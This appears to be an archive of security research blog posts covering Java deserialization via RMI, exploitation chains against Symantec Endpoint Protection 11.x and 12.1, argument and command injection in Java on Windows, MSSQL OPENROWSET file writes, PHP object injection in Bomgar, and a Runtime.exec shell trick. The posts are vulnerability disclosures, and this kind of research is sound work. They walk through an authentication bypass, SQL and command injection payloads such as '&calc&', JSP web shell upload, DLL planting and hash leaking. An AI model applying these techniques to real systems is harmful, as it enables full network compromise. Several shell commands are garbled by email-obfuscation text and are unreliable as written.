Of these 15 classes, those related to RMI stood out. That word alone should make you sit up. Especially sun.rmi.server.UnicastRef and sun.rmi.server.UnicastRef2 seemed interesting, as they reconstruct a sun.rmi.transport.LiveRef object via its sun.rmi.transport.LiveRef.read(ObjectInput, boolean) method. This method then reconstructs a sun.rmi.transport.tcp.TCPEndpoint and a local sun.rmi.transport.LiveRef and registers it at the sun.rmi.transport.DGCClient, the RMI distributed garbage collector client:

DGCClient implements the client-side of the RMI distributed garbage collection system.

The external interface to DGCClient is the "registerRefs" method. When a LiveRef to a remote object enters the VM, it needs to be registered with the DGCClient to participate in distributed garbage collection.

When the first LiveRef to a particular remote object is registered, a "dirty" call is made to the server-side distributed garbage collector for the remote object […]

β€” http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u121-b00/src/share/classes/sun/rmi/transport/DGCClient.java#l54

So according to the documentation, the registration of our LiveRef results in the call for a remote object to the endpoint specified in our LiveRef? Sounds like RCE via RMI!

Tracing the call hierarchy of ObjectInputStream.readObject actually reveals that there is a path from an Externalizable.readExternal call via sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2 to ObjectInputStream.readObject in sun.rmi.transport.StreamRemoteCall.executeCall().

So let's see what happens if we deserialize an AMF message with a sun.rmi.server.UnicastRef object using the following code utilizing Flex BlazeDS:

As a first proof of concept, we just start a listener with netcat and see if the connection gets established.

And we actually got a connection from a client, trying to speak the Java RMI Transport Protocol. πŸ˜ƒ

Exploitation

This technique has already been shown as a deserialization blacklist bypass by Jacob Baines in 2016, but I'm not sure if he was aware that it also turns any Externalizable.readExternal into an ObjectInputStream.readObject. He also presented a JRMP listener that sends a specified payload. Later, the JRMP listener has been added to ysoserial, which can deliver any available payload:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...

Mitigation

  • Applications using Adobe's/Apache's implementation should migrate to Apache's latest release version 4.7.3, that addresses this issue.
  • Exadel has discontinued its library, so there won't be any updates.
  • For GraniteDS and WebORB for Java, there is currently no response/solution.

Coincidentally, there is the JDK Enhancement Proposal JEP 290: Filter Incoming Serialization Data addressing the issue of Java deserialization vulnerabilities in general, which has already been implemented in the most recent JDK versions 6u141, 7u131, and 8u121.


Compromised by Endpoint Protection: Legacy Edition

23 February 2016 at 13:50

The previous disclosure of the vulnerabilities in Symantec Endpoint Protection (SEP) 12.x showed that a compromise of both the SEP Manager as well as the managed clients is possible and can have a severe impact on a whole corporate environment.

Unfortunately, in older versions of SEP, namely the versions 11.x, some of the flawed features of 12.x weren’t even implemented, e. g., the password reset feature. However, SEP 11.x has other vulnerabilities that can have in the same impact.

Vulnerabilities in Symantec Endpoint Protection 11.x

The following vulnerabilities have been discovered in Symantec Endpoint Protection 11.x:

SEP Manager
SQL Injection
Allows the execution of arbitrary SQL on the SQL Server by unauthenticated users.
Command Injection
Allows the execution of arbitrary commands with 'NT Authority\SYSTEM' privileges by users with write acceess to the database, e. g., via the before-mentioned SQL injection.
SEP Client
Binary Planting
Allows the execution of arbitrary code with 'NT Authority\SYSTEM' privileges on SEP clients running Windows by local users.

As SEP 11.x is out of support since early 2015 and Symantec won’t provide a patch, you are highly advised to upgrade to 12.1.

SEP Manager

SQL Injection

The AgentRegister operation of the AgentServlet is vulnerable to SQL injections within the HardwareKey attribute:

To reach that point, we need to provide a valid DomainID, which can be retrieved from a SEP client installation from the SyLink.xml file located in C:\ProgramData\Symantec\Symantec Endpoint Protection\CurrentVersion\Data\Config.

Exploiting this vulnerability is a little more complicated. For example, changing a SEPM administrator user’s password requires the manipulation of a configuration stored as an XML document in the database.

The administrative users are stored in the SemConfigRoot document in the basic_metadata table with the hard-coded ID B655E64D0A320801000000E164041B79. An administrator entry might look like this:

The complicated part is that this configuration document is crucial for the whole SEPM. Any changes resulting in an invalid XML document result in a denial of service. That’s why it’s important that any change results in a valid document as well.

So how can we modify that document to our advantages?

The stored PasswordHash is simply the MD5 of the password in hexadecimal representation. So replacing that attribute value with a new one would allow us to login with that password.

But we neither know the current PasswordHash value (obviously!) nor any other attribute value that we can use as an anchor point for the string manipulate.

However, we know other parts of the SemAdministrator element that we can use. For example, if we replace ' PasswordHash=' by ' PasswordHash="[…]" OldPasswordHash=', we can set our own PasswordHash value while being able to reverse the operation by replacing ' PasswordHash="[…]" OldPasswordHash=' by ' PasswordHash=':

Here we first do the reverse operation in line 14 before updating the PasswordHash value with ours in line 15 to avoid accidentally creating an invalid document in the case the update is executed multiple times.

There may also be other attributes that needs to be modified like the Name or AuthenticationMethod for local instead of RSA SecureId or Directory authentication.

The reset would be just doing the reverse operation on the XML document:

Now we can log into the SEPM and could exploit CVE-2015-1490 to upload arbitrary files to the SEPM server, resulting in the execution of arbitrary code with 'NT Authority\SYSTEM' privileges.

If changing the admin password does not work for some reasons, you can also use the SQL injection to exploit the command injection described next.

Command Injection

From the previous blog post on Java and Command Line Injections in Windows we know that injecting additional arguments and even commands may be possible in Java applications on Windows, even when ProcessBuilder is utilized.

SEPM does create processes only in a few locations but even less seem promising and can be triggered. The SecurityAlertNotifyTask class is one of them, which processes security alerts from the database, which we can modify with the SQL injection.

The notification tasks are stored in the notification table. For manipulating the command line, we need to reach the doRunExecutable(String) method. This happens if the notification.email contains batchfile. The executable to call is taken from notification.batch_file_name. However, only existing files from the C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin directory can be specified.

The next problem is to find a way to manipulate arguments used in the building of the command line. The only additional argument passed is the parameter of the doRunExecutable method. Unfortunately, the values passed are notification messages originating from a properties file and most of them are parameterized with integers only.

However, the notification message for a new virus is parameterized with the name of the new virus, which originates from the database as well. So if we register a new virus with our command line injection payload as the virus name and register a new security alert notification, the given batch file would be called with the predefined notification message containing the command line injection. And since .bat files are silently started in a cmd.exe shell environment, it should be easy to get a calc.

The following SQL statements set up the mentioned security alert notification scenario:

The resulting CreateProcess command line is:


C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&".""

And the command line interpreted by cmd.exe is:


"C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&"."

And there we have a calc.

SEP Client

Binary Planting

The Symantec AntiVirus service process Rtvscan.exe of the SEP client is vulnerable to Binary Planting, which can be exploited for local privilege escalation. During the collection of version information of installed engines and definitions, the process is looking for a SyKnAppS.dll in C:\ProgramData\Symantec\SyKnAppS\Updates and loading it if present. This directory is writable by members of the built-in Users group:

The version information collection can be triggered in the SEP client GUI via Help and Support, Troubleshooting..., then Versions. To exploit it, we place our DLL into the C:\ProgramData\Symantec\SyKnAppS\Updates directory. But before that, we need to place the original SyKnAppS.dll from the parent directory in there and trigger the version information collection once as SEP does some verification of the DLL before loading but only once and not each time:

  • Copy genuine SyKnAppS.dll to Updates:
    copy C:\ProgramData\Symantec\SyKnAppS\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
  • Trigger version information collection via Help and Support, Troubleshooting..., then Versions.
  • Copy custom SyKnAppS.dll to Updates:
    copy C:\Users\john\Desktop\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
  • Trigger version information collection again.

The service is running with 'NT Authority\SYSTEM' privileges.

Java and Command Line Injections in Windows

4 February 2016 at 16:03

Everyone knows that incorporating user provided fragments into a command line is dangerous and may lead to command injection. That’s why in Java many suggest using ProcessBuilder instead where the program’s arguments are supposed to be passed discretely in separate strings.

However, in Windows, processes are created with a single command line string. And since there are different and seemingly confusing parsing rules for different runtime environments, proper quoting seems to be likewise complicated.

This makes Java for Windows still vulnerable to injection of additional arguments and even commands into the command line.

Windows’ CreateProcess Command Lines

In Windows, the main function for creating processes is the CreateProcess function. And in contrast to C API functions like execve, arguments are not passed separately as an array of strings but in a single command line. On the other side, the entry point function WinMain expects a single command line argument as well.

This circumstance requires the program to parse the command line itself for extracting the arguments. And although Windows provides a CommandLineToArgvW function and supports C and C++ API entry point functions where arguments are already parsed by the runtime and passed in a argc/argv style, the rules for quoting command line arguments with all their quirks can be quite confusing. And there is no definitive guide on how to quote properly, let alone something like a ArgvToCommandLineW function that does it for you. That’s why many do it wrong, as β€œEveryone quotes command line arguments the wrong way” by Daniel Colascione observes.

You should definitely read the latter two linked pages first to understand the rest of this blog post.

For testing, we’ll use the following Java class, which utilizes ProcessBuilder as suggested:

The resulting CreateProcess command line can be observed with the Windows Sysinternals’ Process Monitor. And for how the command line gets parsed, you can use the following program, which prints the results of both the parsing of C command-line arguments (via the argv function parameter) and of the parsing of C++ command-line arguments (via CommandLineToArgvW function).

This already produces different and frankly surprising results in some cases:

The last two are remarkable as one additional quotation mark swaps the results of argv and CommandLineToArgvW.

Java’s Command Line Generation in Windows

With the knowledge of how CreateProcess expects the command line arguments to be quoted, let’s see how Java builds the command line and quotes the arguments for Windows.

If a process is started using ProcessBuilder, the arguments are passed to the static method start of ProcessImpl, which is a platform-dependent class. In the Windows implementation of ProcessImpl, the start method calls the private constructor of ProcessImpl, which creates the command line for the CreateProcess call.

In the private constructor of ProcessImpl, there are two operational modes: the legacy mode and the strict mode. These are the result of issues caused by changes to Runtime.exec. The legacy mode is only performed if there is no SecurityManager present and the property jdk.lang.Process.allowAmbiguousCommands is not set to false.

The Legacy Mode

In the legacy mode, the first argument (i. e., the program to execute) is quoted if required and then the command line is created using createCommandLine.

The needsEscaping method checks whether the value is already quoted using isQuoted or wraps it in double quotes if it contains certain characters.

The vertification type VERIFICATION_LEGACY passed to needsEscaping makes noQuotesInside in isQuoted being false, which would allow quotation marks within the path. It also makes needsEscaping test for space and tabulator characters only.

But let’s take a look at the createCommandLine method, which creates the command line:

Again, with the verification type VERIFICATION_LEGACY the needsEscaping method only returns true if it is already wrapped in quotes (regardless of any quotes within the string) or if it is not wrapped in quotes and contains a space or tabulator character (again, regardless of any quotes within the string). If it needs quoting, it is simply wrapped in quotes and a possible trailing backslash is doubled.

Ok, so far, so good. Now let’s recall Daniel Colascione’s conclusion:

Do not:

  1. Simply add quotes around command line argument arguments without any further processing.
  2. […]

Yes, exactly. This can be exploited to inject additional arguments:

  • A value that is considered to be quoted:
    • passed argument value: "arg 1" "arg 2" "arg 3"
    • quoted argument value: no quoting needed as it’s β€œalready quoted”
    • parsed argument values: ['arg 1', 'arg 2', 'arg 3']
  • A value that is considered to be not quoted but requires quotes:
    • passed argument value: "arg" 1" "arg 2" "arg 3
    • quoted argument value: ""arg" 1" "arg 2" "arg 3"
    • parsed argument values: ['arg 1', 'arg 2', 'arg 3']

The Strict Mode

In the strict mode, things are a little different.

If the path contains a quote, getExecutablePath throws an exception and the catch block is executed where getTokensFromCommand tries to extract the path.

However, the rather interesting part is that createCommandLine is called with a different verification type based on whether isShellFile denotes it as a shell file.

But I’ll come back to that later.

With the verification type VERIFICATION_WIN32, noQuotesInside is still false and both injection examples mentioned above work as well.

However, if needsEscaping is called with the verification type VERIFICATION_CMD_BAT, noQuotesInside becomes true. And without being able to inject a quote we can’t escape the quoted argument.

CreateProcess’ Silent cmd.exe Promotion

Remember the isShellFile checked the file name extension for .cmd and .bat? This is due to the fact that CreateProcess executes these files in a cmd.exe shell environment:

[…] the decision tree that CreateProcess goes through to run an image is as follows:

  • […]
  • If the file to run has a .bat or .cmd extension, the image to be run becomes Cmd.exe, the Windows command prompt, and CreateProcess restarts at Stage 1. (The name of the batch file is passed as the first parameter to Cmd.exe.)
  • […]

β€” Windows Internals, 6th edition (Part 1)

That means a 'file.bat …' becomes 'C:\Windows\system32\cmd.exe /c "file.bat …"' and an additional set of quoting rules would need to be applied to avoid command injection in the command line interpreted by cmd.exe.

However, since Java does no additional quoting for this implicit cmd.exe call promotion on the passed arguments, injection is even easier: &calc& does not require any quoting and will be interpreted as a separate command by cmd.exe.

This works in the legacy mode just like in the strict mode if we make isShellFile return false, e. g., by adding whitespace to the end of the path, which tricks the endsWith check but are ignored by CreateProcess.

Conclusion

Command line parsing in Windows is not consistent and therefore the implementation of proper quoting of command line argument even less. This may allow the injection of additional arguments.

Additionally, since CreateProcess implicitly starts .bat and .cmd in a cmd.exe shell environment, even command injection may be possible.

As a sample, Java for Windows fails to properly quote command line arguments. Even with ProcessBuilder where arguments are passed as a list of strings:

  • Argument injection is possible by providing an argument containing further quoted arguments, e. g., '"arg 1" "arg 2" "arg 3"'.
  • On cmd.exe process command lines, a simple '&calc&' alone suffices.

Only within the most strictly mode, the VERIFICATION_CMD_BAT verification type, injection is not possible:

  • Legacy mode:
    • VERIFICATION_LEGACY: There is no SecurityManager present and jdk.lang.Process.allowAmbiguousCommands is not explicitly set to false (no default set)
      • allows argument injection
      • allows command injection in cmd.exe calls (explicit or implicit)
  • Strict mode:
    • VERIFICATION_CMD_BAT: Most strictly mode, file ends with .bat or .cmd
      • does not allow argument injection
      • does not allow command injection in cmd.exe calls
    • VERIFICATION_WIN32: File does not end with .bat or .cmd
      • allows argument injection
      • allows command injection in cmd.exe calls (explicit or implicit)

However, Java’s check for switching to the VERIFICATION_CMD_BAT mode can be circumvented by adding whitespace after the .bat or .cmd.

Compromised by Endpoint Protection

31 July 2015 at 06:23

In a recent research project, Markus Wulftange of Code White discovered several critical vulnerabilities in the Symantec Endpoint Protection (SEP) suite 12.1, affecting versions prior to 12.1 RU6 MP1 (see SYM15-007).

As with any centralized enterprise management solution, compromising a management server is quite attractive for an attacker, as it generally allows some kind of control over its managed clients. Taking control of the manager can yield a takeover of the whole enterprise network.

In this post, we will take a closer look at some of the discovered vulnerabilities in detail and demonstrate their exploitation. In combination, they effectively allow an unauthenticated attacker the execution of arbitrary commands with 'NT Authority\SYSTEM' privileges on both the SEP Manager (SEPM) server, as well as on SEP clients running Windows. That can result in the full compromise of a whole corporate network.

Vulnerabilities in Symantec Endpoint Protection 12.1

Code White discovered the following vulnerabilities in Symantec Endpoint Protection 12.1:

SEP Manager
Authentication Bypass (CVE-2015-1486)
Allows unauthenticated attackers access to SEPM
Mulitple Path Traversals (CVE-2015-1487, CVE-2015-1488, CVE-2015-1490)
Allows reading and writing arbitrary files, resulting in the execution of arbitrary commands with 'NT Service\semsrv' privileges
Privilege Escalation (CVE-2015-1489)
Allows the execution of arbitrary OS commands with 'NT Authority\SYSTEM' privileges
Multiple SQL Injections (CVE-2015-1491)
Allows the execution of arbitrary SQL
SEP Clients
Binary Planting (CVE-2015-1492)
Allows the execution of arbitrary code with 'NT Authority\SYSTEM' privileges on SEP clients running Windows

The objective of our research was to find a direct way to take over a whole Windows domain and thus aimed at a full compromise of the SEPM server and the SEP clients running on Windows. Executing post exploitation techniques, like lateral movement, would be the next step if the domain controller hasn't already been compromised by this.

Therefore, we focused on SEPM's Remote Java or Web Console, which is probably the most exposed interface (accessible via TCP ports 8443 and 9090) and offers most of the functionalities of SEPM's remote interfaces. There are further entry points, which may also be vulnerable and exploitable to gain access to SEPM, its server, or the SEP clients. For example, SEP clients for Mac and Linux may also be vulnerable to Binary Planting.

Attack Vector and Exploitation

A full compromise of the SEPM server and SEP clients running Windows was possible through the following steps:

  1. Gaining administrative access to the SEP Manager (CVE-2015-1486)
  2. Full compromise of SEP Manager server (CVE-2015-1487 and CVE-2015-1489)
  3. Full compromise of SEP clients running Windows (CVE-2015-1492)

CVE-2015-1486: SEPM Authentication Bypass

SEPM uses sessions after the initial authentication. User information is stored in a AdminCredential object, which is associated to the user's session. Assigning the AdminCredential object to a session is implemented in the setAdminCredential method of ConsoleSession, which again holds an HttpSession object.

This setAdminCredential method is only called at two points within the whole application: once in the LoginHandler and once in the ResetPasswordHandler.

Its purpose in LoginHandler is obvious. But why is it used in the ResetPasswordHandler? Let's have a look at it!

Password reset requests are handled by the ResetPasswordHandler handler class. The implementation of the handleRequest method of this handler class can be observed in the following listing:

After the prologue in lines 72-84, the call to the init method calls the findAdminEmail method for looking up the recipient's e-mail address.

Next, the getCredential method is called in line 92 to retrieve the AdminCredential object of the corresponding administrator. The AdminCredential object holds information on the administrator, e. g., if it's a system administrator or a domain administrator as well as an instance of the SemAdministrator class, which finally holds information such as the name, e-mail address, and hashed password of the administrator.

The implementation of the getCredential method can be seen in the following listing:

Line 367 creates a new session, which effectively results in issuing a new JSESSIONID cookie to the client. In line 368, the doGetAdminCredentialWithoutAuthentication method is called to get the AdminCredential object without any authentication based on the provided UserID and Domain parameters.

Finally – and fatally –, the looked up AdminCredential object is associated to the newly created session in line 369, making it a valid and authentic administrator's session. This very session is then handed back to the user who requested the password reset. So by requesting a password reset, you'll also get an authenticated administrator's session!

An example of what a request for a password reset for the built-in system administrator 'admin' might look like can be seen in the following listing:

And the response to the request:

The response contains the JSESSIONID cookie of the newly created session with the admin's AdminCredential object associated to it.

Note that this session cannot be used with the Web console as it is missing some attribute required for AjaxSwing. However, it can be used to communicate with the other APIs like the SPC web services, which, for example, allows creating a new SEPM administrator.

CVE-2015-1487: SEPM Arbitrary File Write

The UploadPackage action of the BinaryFile handler is vulnerable to path traversal, which allows arbitrary files to be written. It is implemented by the BinaryFileHandler handler class. Its handleRequest method handles the requests and the implementation can be observed in the following listing:

Handling of the UploadPackage action starts at line 189. The PackageFile parameter value is used as file name and the KnownHosts parameter value as directory name. Interestingly, the provided directory name is checked for path traversal by looking for directory separators '/' and '\' (see line 196, possibly related to CVE-2014-3439). However, the file name is not, which still allows to specify any arbitrary file location.

The following request results in writing the given POST request body data to the file located at '[…]\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\exec.jsp':

Writing a JSP web shell as shown allows the execution of arbitrary OS commands with 'NT Service\semsrv' privileges.

CVE-2015-1489: SEPM Privilege Escalation

The Symantec Endpoint Protection Launcher executable SemLaunchSvc.exe is running as a service on the SEPM server with 'NT Authority\SYSTEM' privileges. It is used to launch processes that require elevated privileges (e. g., LiveUpdate, ClientRemote, etc.). The service is listening on the loopback port 8447 and SEPM communicates with the service via encrypted messages. The communication endpoint in SEPM is the SemLaunchService class. One of the supported tasks is the CommonCMD, which results in command line parameters of a cmd.exe call.

Since we are able to execute arbitrary Java code within SEPM's web server context, we can effectively execute commands with 'NT Authority\SYSTEM' privileges on the SEPM server.

CVE-2015-1492: SEP Client Binary Planting

The client deployment process on Windows clients is vulnerable to Binary Planting. It is an attack exploiting the behavior of how Windows searches for files of dynamically loaded libraries when loading them via LoadLibrary only by their name. If it is possible for an attacker to place a custom DLL in one of the locations the DLL is searched in, it is possible to execute arbitrary code with the DllMain entry point function, which gets executed automatically on load.

Symantec Endpoint Protection is vulnerable to this flaw: During the installation of a deployment package on a Windows client, the SEP client service ccSvcHst.exe starts the smcinst.exe from the installation package as a service. This service tries to load several DLLs, e. g., the UxTheme.dll.

By deploying a specially crafted client installation package with a custom DLL, it is possible to execute arbitrary code with 'NT Authority\SYSTEM' privileges.

A custom installation package containing a custom DLL can be constructed and deployed in SEPM with the following steps.

Export Package
Download an existing client installation package for Windows as a template:
  • Go to 'Admin', 'Installation Packages'.
  • Select a directory where you want to export it to.
  • Select one of the existing packages for Windows and click on 'Export a Client Installation Package'.
  • Untick the 'Create a single .EXE file for this package'.
  • Untick the 'Export packages with policies from the following groups'.
  • Click 'OK'.
Modify Package
Tamper with the client installation package template:
  • Within the downloaded installation package files, delete the packlist.xml file.
  • Open the setAid.ini file, delete the PackageChecksum line and increase the values of ServerVersionand ClientVersion to something like 12.2.0000 instead of 12.1.5337.
  • Open the Setup.ini file and increase the ProductVersion value accordingly.
  • Copy the custom DLL into the package directory and rename it UxTheme.dll.
Import and deploy Package
Create a new client installation package from the tampered files and deploy it to the clients:
  • Go to 'Admin', 'Installation Packages'.
  • Click 'Add a Client Installation Package'.
  • Give it a name, select the directory of the tampered client installation package files, and upload it.
  • Click 'Upgrade Clients with Package'.
  • Choose the newly created client installation package and the group it should be deployed to.
  • Open the 'Upgrade Settings', untick 'Maintain existing client features when upgrading' and select the default feature set for the target group, e. g., 'Full Protection for Clients'.
  • Upgrade the clients by clicking 'Next'.

The loading of the planted binary may take some while, probably due to some scheduling of the smcinst.exe service.

Conclusion

We have successfully demonstrated that a centralized enterprise management solution like the Symantec Endpoint Protection suite is a critical asset in a corporate network as unauthorized access to the manager can have unforeseen influence on the managed clients. In this case, an exposed Symantec Endpoint Protection Manager can result in the full compromise of a whole corporate domain.

Reading/Writing files with MSSQL's OPENROWSET

9 June 2015 at 13:19

Unfortunately, Microsoft SQL Server's SQL dialect Transact-SQL does not support reading and writing files in an easy way as opposed to MySQL's LOAD_FILE() function and INTO OUTFILE clause.

Of course, with xp_cmdshell being enabled, you can read and write files using OS commands. However, one is not always blessed with the CONTROL SERVER permission, which is generally only granted with the sysadmin role. But if you happen to have the ADMINISTER BULK OPERATIONS permission (implied by the bulkadmin role), then OPENROWSET is a viable option for both reading and writing files.

Granted, using OPENROWSET for reading and writing files is nothing new. However, all examples for writing files that I have seen so far require the access to remote OLE DB providers being enabled, which is controlled by the ad hoc distributed queries configuration option, which is disabled by default. And changing and reconfiguring any configuration option requires ALTER SETTINGS permissions (implied by the sysadmin and serveradmin roles), which are not always available. And, well, in case of the sysadmin role, you could just as well use xp_cmdshell.

So the technique for writing files demonstrated here is a little different as it exploits a side-effect of OPENROWSET, which just requires ADMINISTER BULK OPERATIONS permission. It also does not require any temporary table or whatsoever; everything can be performed in a sub-query.

Checking Prerequisites

For looking up whether the current user has ADMINISTER BULK OPERATIONS permissions, you can use the HAS_PERMS_BY_NAME() function:

The the result should be 1.

Reading Files

Reading a file is pretty straight forward. When OPENROWSET is referenced in the FROM clause, it allows reading from the given file through a built-in BULK provider and returns it as a rowset. The following SELECT reads the C:\Windows\win.ini file and returns a rowset of one single character LOB:

This, of course, can also be used to leak hashes for pass-the-hash.

Writing Files

Writing to a file is a little more difficult. The common approach with OPENROWSET only is calling an external OLE DB provider. But this generally requires ad hoc distributed queries being enabled and has certain caveats like restriction to certain output formats depending on the selected OLE DB provider (e. g., CSV), previous existence of the output file, registration of linked servers, etc.

However, there is a way of writing arbitrary data to an arbitrary file without any of these restrictions or prerequisites by exploiting a side-effect of OPENROWSET.

The feature that is being exploited is the error reporting feature. The reference states the purpose of the ERRORFILE argument as follows:

ERRORFILE = 'file_name'
Specifies the file used to collect rows that have formatting errors and cannot be converted to an OLE DB rowset. These rows are copied into this error file from the data file "as is."

So any erroneous record from the input is directly written to the given error file as is.

The following SELECT reads from \\192.168.13.37\share\input.txt with the format specified in \\192.168.13.37\share\input.fmt and writes to C:\Inetpub\wwwroot\hello.aspx:

The input file input.txt has the following contents:

The non-XML format file input.fmt specifies one single column named BulkColumn of type CHAR with the length of 1 character (fourth column) and the last character in our input file (i. e., >) as terminator:

Since we specified the length with just one byte, a truncation error occurs and the whole record up to and including the final terminator (i. e., >) gets written to the error file:

Msg 4863, Level 16, State 1, Line 1
Bulk load data conversion error (truncation) for row 1, column 1 (BulkColumn).

For binary files, the XML format seems to be better as you can specify the length for both the field input and the column output and don't need a terminator. The following format file input.xml allows writing binary data up to 512 kB:

The length seems to be irrelevant and it certainly raises a data conversion error due to the binary data, resulting in writing the entire data to the error file.

CVE-2015-0935: PHP Object Injection in Bomgar Remote Support Portal

8 May 2015 at 18:48

Serialization is often used to convert objects into a string representation for communication or to save them for later use. However, deserialization in PHP has certain side-effects, which can be exploited by an attacker who is able to provide the data to be deserialized.

This post will give you an insight on the deserialization of untrusted data vulnerability in the Bomgar Remote Support Portal 14.3.1 (US CERT VU#978652, CVE-2015-0935), which is part of Bomgar's appliance-based remote support software. It covers details on the weakness of Deserializion of Untrusted Data (CWE-502) in PHP applications in general, as well as specific details on the vulnerability and its exploitation in the Bomgar Remote Support Portal 14.3.1.

Note that this post is not about the various bugs in the implementation of the unserialize function itself (see for example Sec Bug #67492, Sec Bug #68594, Sec Bug #68710, and Sec Bug #68942), but about the exploitation on the application level.

Summary

Description from US CERT VU#978652:

Bomgar Remote Support Portal version 14.3.1 and possibly earlier versions deserialize untrusted data without sufficiently verifying the validity of the resulting data. An unauthenticated attacker can inject arbitrary input to at least one vulnerable PHP file, and authenticated attackers can inject arbitrary input to multiple vulnerable PHP files. When malicious data is deserialized, arbitrary PHP code may be executed in the context of the PHP server process.

Vulnerability Details

The PHP function unserialize allows the creation of arbitrary object constructs of any class with arbitrary attributes of almost arbitrary types without any validation. During the deserialization, the lifetime of an object, and the interaction with the object, several methods, including so called magic methods, may get called using these arbitrarily definable attributes. An attacker may be able to utilize the functionality provided within these called methods to his benefit. For more information on deserialization in PHP, have a look at Serialization in the PHP Internals Book and Writing Exploits For Exotic Bug Classes: unserialize() by Stephen Coty of Alert Logic.

In Bomgar Remote Support Portal 14.3.1, unserialize is called several times with user provided data, among them there is one which can be called by an unauthenticated user.

Exploitation

The most challenging part of exploiting such a vulnerability is finding appropriate classes with effects beneficial for an attacker. Therefore, it solely depends on the available classes. If there are no classes with beneficial effects available, it is not exploitable.

Fortunately, there is at least one in Bomgar Remote Support Portal 14.3.1!

One way to exploit this vulnerability is by utilizing the Tracer class. It is used to write stack trace information to a log using a Logger instance, which wraps an instance of PEAR's Log class. By using a Log_file instance as an instance of Log, it is possible to write the arbitrary data <payload> to the arbitrary file <destination>.

A corresponding serialized representation of such an object construct may look like this (\0 represents a NUL byte):

Writing the data to the specified location is triggered by the log method call in the destructor of the Tracer class.

And this is what happens behind the curtain:

  • unserialize creates an instance of the Tracer class, the Logger class, and the Log_file class with the following structure (only relevant members are shown):
  • At the end of the runtime of the request, PHP calls the destructor __destruct of our Tracer object, which eventually calls the log method of the Log_file class with the following behavior:
    • The file specified in _filename gets opened in write mode, if not already opened (line 285-287)
    • The format of the line to be written to the log is specified by _lineFormat, i. e. our <payload> (line 293-295)
    • The log line gets written to the specified log file (line 303)

By injecting a Tracer object as specified, arbitrary data can be written or appended to an arbitrary file.

Additional Information on Exploitation

If the document root location of the web server is unknown, one can utilize PHP's autoload functionality, which allows the inclusion of a '*.php' file from any location as long as the path can be expressed in a class name with '_' instead of '/'.

For example, the deserialization of the following object representation would result in the local file inclusion of '/tmp/poc.php':

The exploitation can then be performed with two serialized objects:

  1. Writing a PHP payload to a known location like '/tmp/poc.php' using the Tracer object structure as mentioned above.
  2. Loading and executing the written PHP payload using an object with the class name like '_tmp_poc' as mentioned above.

Most of the vulnerable unserialize calls are only accessible after successful authentication. However, one is accessible without prior authentication; this requires a particular access token but can also be retrieved without authentication. I leave this as a challenge to the reader. ;-)

Course of events and 'cooperation' with Bomgar

The whole process of the disclosure of this vulnerability took longer than expected: The initial report submission of the vulnerability to US CERT was on 2014-11-14. They instantly replied that they wanted me to first contact Bomgar directly. So I wrote an e-mail to [email protected], asking for a contact person for a confidential disclosure of the vulnerability details. After one week without any reply, I asked US CERT on 2014-11-23 to do the coordination.

Fast forward: on 2015-02-12 I got an answer from US CERT, stating that they have established a contact at Bomgar. This was already 90 days after the initial report.

Immediately after that, I got contacted by Bomgar, asking me how I intended to use the vulnerability information. My reply was that I wanted to write this very blog post, which should contain details on the vulnerability and its exploitation in Bomgar Remote Support Portal 14.3.1. Since an exploitation of this kind of vulnerability depends on the available classes and their functionality, I wanted to show some source code snippets of the involved classes and methods. However, Bomgar insisted on not having any copyrighted source code published and also asked me to remove any explicit details on how to reach the unserialize function calls, especially the one accessible without authentication.

[email protected]|sh – Or: Getting a shell environment from Runtime.exec

9 March 2015 at 08:55

If you happen to have command execution via Java's Runtime.exec on a Unix system, you may already have noticed that it doesn't behave like a normal shell. Although simple commands like ls -al, uname -a, or netstat -ant work fine, more complex commands and especially commands with indispensable features like pipes, redirections, quoting, or expansions do not work at all.

Well, the reason for that is that the command passed to Runtime.exec is not executed by a shell. Instead, if you dig down though the Java source code, you'll end up in the UNIXProcess class, which reveals that calling Runtime.exec results in a fork and exec call on Unix platforms.

Nonetheless, I'll show you a way to still get commands executed in a proper shell.

For testing, we'll use this Java example:

We call this class as shown below with single quotes around the command line to ensure that our shell passes the command line argument to Java as is:


$ java Exec 'command arg1 arg2 ...'

Your first thought on a solution to this might be: "Ok, I'll just use sh -c command to execute command in the shell."

That is correct, but here is the catch: Since only the first argument following -c is interpreted as shell command, the whole shell command must be passed as a single argument. And if you take a closer look at how the string passed to Runtime.exec is processed, you'll see that Java uses a StringTokenizer that splits the command at any white-space character.

If you are thinking of quoting the command parameter string like uname -a as follows:


$ java Exec 'sh -c "uname -a"'

this won't work. Remember: We're not in a shell yet, and Runtime.exec does only take white-spaces as argument separators into account.

So, what is the other option that we have?

The key is in the sh -c command, but we won't execute the command directly but build a command that itself spawns another shell that then executes our command. Though it sounds complicated, we'll derive it step by step.

How it works

The secret key to this is the special parameter @, which expands to the positional parameters when referenced with [email protected], starting from parameter one:


$ java Exec 'sh -c [email protected]'

But how do we pass the actual command? Well, if the shell is invoked with -c, any remaining arguments after the command argument are assigned to the positional parameters, starting with $0. So when [email protected] is expanded by the shell with the following invocation:


$ java Exec 'sh -c [email protected] 0 1 2 3 4 5'

It results in 1 2 3 4 5. The 0-th parameter does not appear in the expansion result as it, by convention, should be the file name associated with the file being executed. We can see the result by adding a echo in place of the $1 parameter:


$ java Exec 'sh -c [email protected] 0 echo 1 2 3 4 5'

Here the shell first expands [email protected] to echo 1 2 3 4 5 and then executes it.

But this is still not better than the simple sh -c command, as we still have no support of pipes, redirections, quoting or expansion.

The reason for this is that the [email protected] expansion does not result in a restart of the command interpretation.

The solution to a fully functional shell is sh's ability to allow the commands to be passed via standard input. So, if we use another echo to echo our command and pipe it to sh, we'll get our command executed by sh entirely:


$ java Exec 'sh -c [email protected]|sh . echo command'

Now we have all shell features available!

The only thing to remember is that any white-space sequences vital in your command must be encoded somehow as otherwise it would be eaten by Java's StringTokenizer, e.g.:


$ java Exec 'sh -c [email protected]|sh . echo /bin/echo -e "tab\trequired"'

